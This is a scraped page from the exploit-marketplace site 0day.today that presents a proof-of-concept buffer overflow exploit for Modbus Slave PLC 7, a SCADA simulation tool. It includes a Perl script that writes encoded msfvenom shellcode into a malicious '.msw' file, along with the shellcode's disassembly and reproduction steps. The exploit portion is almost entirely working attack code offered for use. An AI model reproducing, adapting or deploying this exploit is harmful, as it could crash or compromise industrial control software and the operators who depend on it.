0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Modbus Slave PLC 7 - .msw Buffer Overflow Exploit
[# Exploit Title: Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC) # Author: Kağan Çapar # Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe # Vendor Homepage : https://www.modbustools.com # Tested Version: 7 # Tested on OS: Windows XP SP3 *ENG # other version should be affected # About software : Modbus Slave is for simulating up to 32 slave devices in 32 windows!. # Speed up your PLC programming with this simulating tools. Used for SCADA systems. # Modbus is a serial communications protocol originally published by Schneider Electric # Steps to Reproduce: Run the perl exploit script, it will create a new # file with the name "exploit.msw" and Drag on to "mbslave.exe" # you will see a loop and crash on software # Greetz : cwd-onkan-badko-key-akkus # ! /usr/bin/perl # Dump of assembler code for function loop: # 0x0000555555558030 <+0>: mov $0x1e3b563c,%ebx # 0x0000555555558035 <+5>: fld %st(4) # 0x0000555555558037 <+7>: fnstenv -0xc(%rsp) # 0x000055555555803b <+11>: pop %rax # 0x000055555555803c <+12>: sub %ecx,%ecx # 0x000055555555803e <+14>: mov $0x1,%cl # 0x0000555555558040 <+16>: xor %ebx,0x14(%rax) # 0x0000555555558043 <+19>: add $0x4,%eax # 0x0000555555558046 <+22>: add 0x10(%rax),%ebx # 0x0000555555558049 <+25>: fisubs 0xe0d0(%rbx) # msfvenom -p generic/tight_loop --platform windows_86 -f perl -e x86/shikata_ga_nai # print /x &loop # $1 = 0x555555558030 open(code, ">exploit.msw"); binmode(code); $loop = "\xbb\x3c\x56\x3b\x1e\xd9\xc4\xd9\x74\x24\xf4\x58\x2b\xc9" . "\xb1\x01\x31\x58\x14\x83\xc0\x04\x03\x58\x10\xde\xa3\xd0" . "\xe0"; print code $loop; close(code); # 0day.today [2024-11-15] #